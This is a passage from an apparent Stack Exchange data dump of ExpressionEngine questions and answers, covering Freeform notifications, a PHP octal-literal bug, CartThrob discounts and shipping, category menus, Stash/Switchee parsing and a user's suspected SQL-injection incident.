/&amp;gt;&#xA;        &amp;lt;/li&amp;gt;&#xA;&#xA;        &amp;lt;input id=&quot;submit&quot; type=&quot;submit&quot; value=&quot;Submit&quot; &amp;gt;&#xA;&#xA;        {/exp:freeform:form}    &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;{/exp:freeform:form}&lt;/p&gt;&#xA;" OwnerUserId="2623" LastActivityDate="2014-01-16T23:13:02.547" Title="How to send two different emails (poss customer / thank for submitting) simultaneously with freeform?" Tags="|solspace-freeform|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18469" PostTypeId="2" ParentId="18468" CreationDate="2014-01-16T23:13:02.547" Score="1" Body="&lt;p&gt;If you look at the Freeform docs under &quot;Notifications&quot; you'll see there is an option to notify both the admin as well as the user: &lt;a href=&quot;http://www.solspace.com/docs/freeform/form/#parameters&quot; rel=&quot;nofollow&quot;&gt;http://www.solspace.com/docs/freeform/form/#parameters&lt;/a&gt;. And they each have their own email templates so you can format the emails to each person however you want.&lt;/p&gt;&#xA;" OwnerUserId="982" LastActivityDate="2014-01-16T23:13:02.547" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="18470" PostTypeId="1" CreationDate="2014-01-16T23:31:02.983" Score="4" ViewCount="124" Body="&lt;p&gt;I am wondering if there is some sort of &quot;data collision control&quot; system available for EE. I am talking about a warning if a dataset is (about) being changed by two (or more users) at the same time, resulting in a potential dataloss.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EllisLab itself claims that EE is &quot;a true content management system&quot; and has an extensive User and Member Management Module. Even more I am baffled that this is not a core functionalty apparently. In the days of EE 1.x at least there was &quot;Currently logged in Users&quot; info near the footer of the CP.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is an Extension &quot;&lt;a href=&quot;http://devot-ee.com/add-ons/lock-entry&quot; rel=&quot;nofollow&quot;&gt;Lock Entry&lt;/a&gt;&quot; on devotee but it looks like it is abandoned and the last time I tried it it seemed buggy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anybody an idea on how to achieve this or how to maybe continue the work on Lock Entry?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks and Cheers!&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2014-01-17T17:03:48.080" Title="Collision Control for entries?" Tags="|ee2|channel-entries|database|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18472" PostTypeId="1" AcceptedAnswerId="18473" CreationDate="2014-01-17T00:10:08.250" Score="1" ViewCount="34" Body="&lt;p&gt;We have a plugin that takes orders from CarthThrob and then creates a special file for the distributor. This plugin grabs the order information and converts it to a special file type and format they use to fulfill orders. One part of that is to take the three letter country code and convert that to the three digit currency code. It works for most countries, however those that start with a zero don't work. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What we find is that instead of converting the letter code to the right numeric code it converts AUS (should be 036) to 030, Armenia (051) to 041, and Argentina (032) to 026? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This mightn't be a question for the EE community, but thought I'd start here in case someone can see a pattern or maybe it is some binary thing that is doing math and converting that to a different number.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sample of the code (not all of it):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;private function alpha_three_to_numeric_country($country)&#xA;{&#xA;    switch ($country) {&#xA;    case &quot;AFG&quot;:&#xA;        return 004;&#xA;        break;&#xA;    case &quot;ALA&quot;:&#xA;        return 248;&#xA;        break;&#xA;    case &quot;ALB&quot;:&#xA;        return 008;&#xA;        break;&#xA;    case &quot;DZA&quot;:&#xA;        return 012;&#xA;        break;&#xA;    case &quot;ASM&quot;:&#xA;        return 016;&#xA;        break;&#xA;    case &quot;AND&quot;:&#xA;        return 020;&#xA;        break;&#xA;    case &quot;AGO&quot;:&#xA;        return 024;&#xA;        break;&#xA;    case &quot;AIA&quot;:&#xA;        return 660;&#xA;        break;&#xA;    case &quot;ATA&quot;:&#xA;        return 010;&#xA;        break;&#xA;    case &quot;ATG&quot;:&#xA;        return 028;&#xA;        break;&#xA;    case &quot;ARG&quot;:&#xA;        return 032; etc...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="80" LastActivityDate="2014-01-17T00:43:31.667" Title="Plugin returning wrong value for numbers that start with 0" Tags="|plugin|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18473" PostTypeId="2" ParentId="18472" CreationDate="2014-01-17T00:43:31.667" Score="4" Body="&lt;p&gt;I'm no expert, but I don't think numbers that start with a zero are programatically treated as integers (some Googling suggests they are treated as something called &lt;em&gt;Octals&lt;/em&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your case, unless you need to do mathematical operations on those values, why not just declare them as strings by putting quote marks around them?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;private function alpha_three_to_numeric_country($country)&#xA;{&#xA;    switch ($country) {&#xA;    case &quot;AFG&quot;:&#xA;        return &quot;004&quot;;&#xA;        break;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://stackoverflow.com/questions/2495611/working-with-php-octals-and-string-conversions&quot;&gt;https://stackoverflow.com/questions/2495611/working-with-php-octals-and-string-conversions&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="182" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:12.123" LastActivityDate="2014-01-17T00:43:31.667" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18474" PostTypeId="2" ParentId="18460" CreationDate="2014-01-17T08:12:02.343" Score="1" Body="&lt;p&gt;If you want to do that, you need to make sure your regular orders definitely have a shipping cost. You should make sure there is a default shipping method set, and that there is a default country/state set as well, so that all orders have a shipping cost associated with them as soon as an item is added to the cart.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To debug it, try outputting &lt;code&gt;{order_shipping}&lt;/code&gt; directly onto the page instead of the redirect code, and make sure that it returns a non-zero value even for new carts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: If you are using the UPS extension it's a bit more difficult, because you can't set UPS as the default shipping method. You will need to check if the cart has a valid shipping method, and if not, reload the page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, I would delete any regular shipping methods you have set up (if you are 100% using UPS for shipping).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, create a check to make sure the current cart has a shipping method selected before redirecting to the next step:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if shipping_method == &quot;&quot;}&#xA;    {field:shipping_method}&#xA;    &amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;        $(&quot;#next-button&quot;).click(); // trigger a form submit&#xA;    &amp;lt;/script&amp;gt;&#xA;{if:else}&#xA;    {!-- now we know a shipping method has been selected --}&#xA;    {if order_shipping_val == 0}&#xA;        {redirect=&quot;Store/Confirm-Order&quot;}&#xA;    {/if}&#xA;{/if}&#xA;&#xA;&amp;lt;input type=&quot;submit&quot; id=&quot;next-button&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="150" LastEditorUserId="150" LastEditDate="2014-01-17T23:16:59.567" LastActivityDate="2014-01-17T23:16:59.567" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18476" PostTypeId="1" CreationDate="2014-01-17T10:12:36.340" Score="1" ViewCount="144" Body="&lt;p&gt;It looks like one of my sites has been compromised with an SQL injection. All the channel entries have been closed, which amounts to over 5k entries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I restored the database with a previous daily backed, so all is well again, but have no idea what could have caused this, seems most likely to be a rogue sql query as no way to accidentally change all open statuses to closed in the CP. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have added in extra security by changing passwords, system directory name, removed some add-ons, switched XSS filter back, check permissions, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The site's still on 1.7 and Ellislab have had a look around the CP and say they can't see any evidence of a virus. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd be very interested to hear if anyone has had a similar experience.&lt;/p&gt;&#xA;" OwnerUserId="188" LastActivityDate="2014-01-17T17:06:58.420" Title="All channel entries have had their statuses changed to 'closed'" Tags="|mysql|" AnswerCount="2" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="18477" PostTypeId="1" CreationDate="2014-01-17T10:19:00.130" Score="1" ViewCount="107" Body="&lt;p&gt;We provide, discount and coupon code on our store powered by cartthrob. Its seems, if someone coupon code works too on discounted products but we don't want user to apply coupon code on discounted products. Is there anything built in cartthrob so, we can prevent user to apply coupon code on discounted items? or do we've to alter cartthrob code? I found similar question here - (&lt;a href=&quot;https://expressionengine.stackexchange.com/questions/14328/in-cartthrob-how-could-one-stop-a-discount-being-applied-with-any-other-coupon&quot;&gt;In Cartthrob, how could one stop a discount being applied with any other coupon?&lt;/a&gt;) but that couldn't fulfil my need.&#xA;Thanks&lt;/p&gt;&#xA;" OwnerUserId="2625" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.763" LastActivityDate="2014-02-16T17:35:20.443" Title="Is there any configuration in cartthrob to ignore coupon on discounted product?" Tags="|cartthrob|coupon-code|discounts|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18478" PostTypeId="2" ParentId="18164" CreationDate="2014-01-17T11:59:36.073" Score="1" Body="&lt;p&gt;I can can confirm this works.  Here are the steps I took.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Copy old WYGWAM folders out of themes/third_party &amp;amp; expressionengine/third_party to somewhere safe&lt;/li&gt;&#xA;&lt;li&gt;Copy New folders in respective places.&lt;/li&gt;&#xA;&lt;li&gt;In admin Go to Addons/Modules and click Run Module Updates (top right)&lt;/li&gt;&#xA;&lt;li&gt;In same screen click WYGWAM, and clone and existing config (the one you use)&lt;/li&gt;&#xA;&lt;li&gt;Click new cloned version, under &quot;Advanced Settings&quot; select extraPlugins from the dropdown and type &quot;wordcount&quot; in the text box (sans quotes).&lt;/li&gt;&#xA;&lt;li&gt;At this point my WYGWAM field was broken because it was trying to init old ckeditor plugins, namely channel images, you may or may not get this problem depending on your setup but if you do, copy missing plugins (console.log shows whats missing) from the ckeditor/plugins folder backed up in step one, into the new folder (these plugins are in the theme area).&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;That's it, I wanted to have a word and character count so I edited  themes/third_party/wygwam/lib/ckeditor/plugins/wordcount/plugin.js and changed the defaultConfig var accordingly.&lt;/p&gt;&#xA;" OwnerUserId="2580" LastActivityDate="2014-01-17T11:59:36.073" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18479" PostTypeId="1" AcceptedAnswerId="18481" CreationDate="2014-01-17T12:38:26.947" Score="0" ViewCount="157" Body="&lt;p&gt;My single entry page URL structure is as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sitename.com/channel_name/category_url_title/entry_url_title&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I want to have previous and next links on each single entry that are NOT limited to the category that is currently in the URL...I just need it to work by date alone, but I do need to retain this url structure...so basically when someone opens this link:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sitename.com/channel_name/category_1_url_title/entry_123_url_title&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and clicks the next button it should take him to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sitename.com/channel_name/category_22_url_title/entry_124_url_title&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;only sorting by entry date and ignoring the category as a filter&lt;/p&gt;&#xA;&#xA;&lt;p&gt;is this possible with some good queries or do I need an addon for it?&lt;/p&gt;&#xA;" OwnerUserId="1438" LastActivityDate="2014-01-17T13:58:42.807" Title="Next and previous entry with category url title" Tags="|categories|next-prev|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18480" PostTypeId="2" ParentId="18467" CreationDate="2014-01-17T13:53:08.617" Score="1" Body="&lt;p&gt;Try the &quot;Loose XML&quot; option.&#xA;Also run your xml through a validator just to make sure it's clean.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You might also be missing the XML header in your XML file, eg. &lt;code&gt;&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally, the &lt;code&gt;&amp;lt;categories&amp;gt;&amp;lt;/categories&amp;gt;&lt;/code&gt; node should contain a string of category data, such as a comma-separated list of category names.&lt;/p&gt;&#xA;" OwnerUserId="884" LastEditorUserId="884" LastEditDate="2014-01-18T19:46:05.230" LastActivityDate="2014-01-18T19:46:05.230" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18481" PostTypeId="2" ParentId="18479" CreationDate="2014-01-17T13:58:42.807" Score="1" Body="&lt;p&gt;The &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/entry_linking.html&quot; rel=&quot;nofollow&quot;&gt;Next/Prev entry links&lt;/a&gt; will not glean any category information in the URL, so you don't have to worry there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This should work pretty easily with the Query module:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:next_entry channel=&quot;channel_name&quot;}&#xA;    {exp:query sql=&quot;SELECT c.cat_url_title FROM exp_category_posts cp LEFT JOIN exp_categories c ON c.cat_id = cp.cat_id WHERE cp.entry_id = {entry_id} LIMIT 1&quot;}&#xA;        &amp;lt;p&amp;gt;Next entry: &amp;lt;a href=&quot;/channel_name/{cat_url_title}/{url_title}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;&#xA;    {/exp:query}&#xA;{/exp:channel:next_entry}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(Use the same code for the &lt;code&gt;prev_entry&lt;/code&gt; tag.)&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2014-01-17T13:58:42.807" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18482" PostTypeId="1" AcceptedAnswerId="18483" CreationDate="2014-01-17T14:37:29.203" Score="2" ViewCount="1669" Body="&lt;p&gt;I am using channel form to allow users to add a new entry.&#xA;I need to output a category to allow then to select multiple categories and sub categories.&#xA;The following code works but it does not order the sub cats below the parent Category:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;select name=&quot;category[]&quot; size=&quot;100&quot; multiple=&quot;multiple&quot; id=&quot;multiSelect&quot;&amp;gt;&#xA;{exp:query sql=&quot;SELECT cat_name, cat_id FROM exp_categories WHERE group_id='3'&quot;}&#xA;&amp;lt;option value='{cat_id}'&amp;gt;{cat_name}&amp;lt;/option&amp;gt;&#xA;{/exp:query}&#xA;&amp;lt;/select&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I would like to see the categories listing as:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Parent 1&#xA; child 1.1&#xA; child 1.2&#xA;Parent 2&#xA; Child 2.1&#xA; Child 2.2&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="95" LastEditorUserId="33" LastEditDate="2014-01-17T15:07:39.677" LastActivityDate="2014-01-17T15:07:39.677" Title="Adding Category and Subcategories in a multiselect dropdown in Channel Form" Tags="|categories|channel-form|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18483" PostTypeId="2" ParentId="18482" CreationDate="2014-01-17T15:04:34.173" Score="2" Body="&lt;p&gt;&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/channel_form/#categories&quot; rel=&quot;nofollow&quot;&gt;The docs provide a couple of syntax options&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{category_menu}&#xA;        &amp;lt;label for=&quot;categories&quot;&amp;gt;Categories&amp;lt;/label&amp;gt;&#xA;        &amp;lt;select name=&quot;category[]&quot; id=&quot;categories&quot; size=&quot;4&quot; multiple=&quot;multiple&quot;&amp;gt;&#xA;                {select_options}&#xA;        &amp;lt;/select&amp;gt;&#xA;{/category_menu}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or, for finer control:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;select name=&quot;category[]&quot; id=&quot;categories&quot; size=&quot;4&quot; multiple=&quot;multiple&quot;&amp;gt;&#xA;        {categories}&#xA;                &amp;lt;option value=&quot;{category_id}&quot;{selected}&amp;gt;{category_name}&amp;lt;/option&amp;gt;&#xA;        {/categories}&#xA;&amp;lt;/select&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;By using the &lt;code&gt;{category_group_id}&lt;/code&gt; and &lt;code&gt;{category_depth}&lt;/code&gt; parameters, you can refine things further.  If you need to restrict it by category group, and indent things by depth (and &lt;code&gt;{select_options}&lt;/code&gt; is inadequate), perhaps something like this would do the trick:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;select name=&quot;category[]&quot; id=&quot;categories&quot; size=&quot;4&quot; multiple=&quot;multiple&quot;&amp;gt;&#xA;        {categories}&#xA;                {if category_group_id == 3}&#xA;                     &amp;lt;option value=&quot;{category_id}&quot;{selected}&amp;gt;&#xA;                            {if category_depth == 2}&amp;amp;nbsp;&amp;amp;nbsp;{/if}{category_name}&#xA;                      &amp;lt;/option&amp;gt;&#xA;                {/if}&#xA;        {/categories}&#xA;&amp;lt;/select&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="33" LastActivityDate="2014-01-17T15:04:34.173" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18484" PostTypeId="2" ParentId="18476" CreationDate="2014-01-17T15:55:37.020" Score="1" Body="&lt;p&gt;He's not a SE user so I'll answer this for him here. Apparently he had the same issue and it was down to a bug with maestro payments. Does that sound like it might be it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;CT gave him a patch to fix it so you should contact them.&lt;/p&gt;&#xA;" OwnerUserId="1186" LastActivityDate="2014-01-17T15:55:37.020" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18485" PostTypeId="2" ParentId="18477" CreationDate="2014-01-17T17:00:44.553" Score="1" Body="&lt;p&gt;I'd guess you'd need to build an Extension to handle this since it's so specific to your needs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;CartThrob has their list of hooks here:&lt;br&gt;&#xA;&lt;a href=&quot;http://cartthrob.com/docs/docs_cartthrob2/developers/hooks/index.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://cartthrob.com/docs/docs_cartthrob2/developers/hooks/index.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Looks like using the &quot;cartthrob_calculate_discount&quot; hook is your best bet. That's where I'd start at least.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This SE question will lists a number of addon development resources:   &lt;a href=&quot;https://expressionengine.stackexchange.com/a/15168/28&quot;&gt;https://expressionengine.stackexchange.com/a/15168/28&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I built by first couple of extensions last month and the first was challenging but the next couple were less challenging. I took an existing Expresso Store extension and broke that down to create mine which helped a ton. &lt;/p&gt;&#xA;" OwnerUserId="28" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.553" LastActivityDate="2014-01-17T17:00:44.553" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18486" PostTypeId="2" ParentId="18470" CreationDate="2014-01-17T17:03:48.080" Score="2" Body="&lt;p&gt;Indeed, EE is missing a native workflow module. This is what it is. Thankfully, there is a robust developer community that stepped in and created options. I'd say your best bet is to get one of these working to protect the integrity of your data. Here are three in no particular order:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Better Workflow&lt;/strong&gt;&#xA;&lt;a href=&quot;http://devot-ee.com/add-ons/better-workflow&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/better-workflow&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Publisher&lt;/strong&gt;&#xA;&lt;a href=&quot;http://devot-ee.com/add-ons/publisher&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/publisher&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;NSM Publish Plus: Workflow&lt;/strong&gt;&#xA;&lt;a href=&quot;http://devot-ee.com/add-ons/nsm-publish-plus-workflow&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/nsm-publish-plus-workflow&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;You might also check out &lt;strong&gt;Edit Alarm&lt;/strong&gt; (&lt;a href=&quot;http://devot-ee.com/add-ons/edit-alarm&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/edit-alarm&lt;/a&gt;). It doesn't lock the entry but displays a message in the CP for a set amount of time after someone has started editing an entry. I used this on an EE1 site which had 8+ editors and it worked well. Haven't used it on an EE2 site.&lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2014-01-17T17:03:48.080" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18487" PostTypeId="2" ParentId="18476" CreationDate="2014-01-17T17:06:58.420" Score="1" Body="&lt;p&gt;Questions: What payment gateway are you using?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;NOTE:  If it is related to CT, and CT did indeed close ALL entries, it would most likely be some situation where we have a channel entries call to close a specific entry, but without a limit set on it… and a channel entry id was not passed in the call to close the entry. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Over time, I have seen cases where my add-on or other similar add ons would close a junk load of entries if a limit was not set on the close call and the ID passed in was null or blank. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If indeed it was a CT problem, that's where I'd start looking… Most likely culprit would be a bad callback with missing data and a gateway file with a call to close an entry with no limit set, or something in the core itself calling to close an entry based on some condition hit without an entry id. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In CT2 I know I've gone on hunting expeditions for this kind of thing to make sure it wouldn't happen, but I have not gone through the same process for 1.7&lt;/p&gt;&#xA;" OwnerUserId="556" LastActivityDate="2014-01-17T17:06:58.420" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="18489" PostTypeId="1" CreationDate="2014-01-17T17:48:11.967" Score="1" ViewCount="64" Body="&lt;p&gt;I'm using Solspace Calendar.  I have a very clean monthly calendar where I am using a tool tip to display the events and their details.  I also have 3 event categories and I would like to display them with special colors (I am using classes to define the colors).  I have the tool tip working wonderfully within the calendar but since i cannot add html(other than a &lt;br&gt; tag) to the title of the span to use as the tooltip (this is where the event information is pulled into), i'm having a difficult time thinking this out. I want to be able to format the tooltip to show each event in the color that is specified for the category.  So really 2 things much happen and I would love to see if anyone else can help me get there.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;add a conditional to the &lt;code&gt;{events}&lt;/code&gt; tag pair that displays the event of a particular category.  Maybe something like &lt;code&gt;{if category_id == &quot;3&quot;} show this event {/if}&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;add a class to the event if the category is specified.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I've tried a dozen ways, but I am sure I am not seeing something. So any suggestions would be GREAT!!!  here is my code currently, without the conditionals or the color class.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:calendar:cal date_range_start=&quot;year-month-01&quot; date_range_end=&quot;1 months&quot;}&#xA; {display_each_month}&#xA; &amp;lt;table class=&quot;calendar&quot;&amp;gt;&#xA; &amp;lt;thead&amp;gt;&#xA; &amp;lt;tr&amp;gt;&#xA; &amp;lt;th&amp;gt;{date format=&quot;%F %Y&quot;}&amp;lt;/th&amp;gt;&#xA;    &amp;lt;/tr&amp;gt;&#xA;     &amp;lt;/thead&amp;gt;&#xA;        &amp;lt;tbody&amp;gt;&#xA;          &amp;lt;tr&amp;gt;&#xA;           &amp;lt;td colspan=&quot;7&quot;&amp;gt;&#xA;             &amp;lt;div class=&quot;wrap&quot;&amp;gt;&#xA;                &amp;lt;table id=&quot;fc_inner&quot;&amp;gt;&#xA;                   &amp;lt;thead&amp;gt;&#xA;                      &amp;lt;tr id=&quot;days_of_week&quot;&amp;gt;&#xA;                         {display_each_day_of_week}&#xA;                             &amp;lt;th&amp;gt;&#xA;                              {day_of_week_short} &#xA;                             &amp;lt;/th&amp;gt;&#xA;                              {/display_each_day_of_week}&#xA;                       &amp;lt;/tr&amp;gt;&#xA;                   &amp;lt;/thead&amp;gt;&#xA;                   &amp;lt;tbody&amp;gt;&#xA;                      {display_each_week}&#xA;                      &amp;lt;tr&amp;gt;&#xA;                        {display_each_day}&#xA;                          &amp;lt;td&amp;gt;&#xA;                             &amp;lt;span data-tooltip class=&quot;has-tip&quot; title=&quot;&#xA;                               {display_each_hour}&#xA;                               {events}&#xA;                                 {event_title} - From: {event_start_date         format=&quot;%g&quot;} To: {event_end_date format=&quot;%g&quot;}&amp;lt;br&amp;gt;&#xA;                               {/events}&#xA;                               {/display_each_hour}&#xA;                               &quot;&amp;gt;&#xA;                               {date format=&quot;%j&quot;}&#xA;                               &amp;lt;/span&amp;gt;&#xA;                          &amp;lt;/td&amp;gt;&#xA;                         {/display_each_day}&#xA;                        &amp;lt;/tr&amp;gt;&#xA;                        {/display_each_week}&#xA;                    &amp;lt;/tbody&amp;gt;&#xA;                   &amp;lt;/table&amp;gt;&#xA;                 &amp;lt;/div&amp;gt;&#xA;                &amp;lt;/td&amp;gt;&#xA;               &amp;lt;/tr&amp;gt;&#xA;             &amp;lt;/tbody&amp;gt;&#xA;           &amp;lt;/table&amp;gt;&#xA;      {/display_each_month}&#xA; {/exp:calendar:cal}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2026" LastEditorUserId="884" LastEditDate="2014-01-18T21:28:32.610" LastActivityDate="2014-01-18T21:41:05.673" Title="Would like to apply a class to specific category events within a span title" Tags="|solspace-calendar|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18490" PostTypeId="1" AcceptedAnswerId="18737" CreationDate="2014-01-17T18:33:17.280" Score="1" ViewCount="386" Body="&lt;p&gt;I'm new to Stash and Switchee and this is probably a parse order issue, but I am not quite sure how. Maybe someone that understands this and Switchee a bit more is able and wouldn't mind explaining why the below isn't working.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On my page template I embed my &lt;code&gt;layouts/default&lt;/code&gt; template. At the top of that I have this Switchee conditional:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:switchee variable=&quot;{segment_1}&quot; parse=&quot;inward&quot;}&#xA;  {case value=&quot;&quot;}&#xA;    {sn-home-data}&#xA;  {/case}&#xA;  {case default=&quot;yes&quot;}&#xA;    {sn-page-data}&#xA;  {/case}&#xA;{/exp:switchee}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;sn-page-data&lt;/code&gt; snippets contains this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:set parse_tags=&quot;yes&quot; parse_conditionals=&quot;yes&quot;}&#xA;  {exp:channel:entries limit=&quot;1&quot; channel=&quot;page&quot; disable=&quot;categories|member_data|pagination&quot; cache=&quot;yes&quot; refresh=&quot;6400&quot;}&#xA;    {stash:page_title}&#xA;      {title}&#xA;    {/stash:page_title}&#xA;  {/exp:channel:entries}&#xA;{/exp:stash:set}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When I am calling the &lt;code&gt;{exp:stash:page_title}&lt;/code&gt; variable in the &lt;code&gt;layouts/default&lt;/code&gt; template nothing returns.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I remove &lt;code&gt;parse=&quot;inward&quot;&lt;/code&gt; from the Switchee tag it does work, but if I understand correctly this setting is needed to give Switchee that performance advantage over EE conditionals...&lt;/p&gt;&#xA;" OwnerUserId="744" LastActivityDate="2014-01-24T16:45:40.307" Title="Switchee segment check in embedded template not working" Tags="|stash|switchee|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18491" PostTypeId="1" AcceptedAnswerId="18562" CreationDate="2014-01-17T18:53:45.647" Score="1" ViewCount="455" Body="&lt;p&gt;I am working on a fully-developed site that is currently live, with hundreds, perhaps thousands of images and files in preset folders using File Manager in EE.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a pre-purchase question, I guess... I would like to migrate the files &amp;amp; images to Assets, and was wondering if it was as easy as changing the channel fields from a File field to an Asset field?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be appreciated, thank you.&lt;/p&gt;&#xA;" OwnerUserId="1411" LastActivityDate="2014-01-20T22:07:23.323" Title="Migration from File Manager to Assets" Tags="|assets|file-manager|files|migration|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
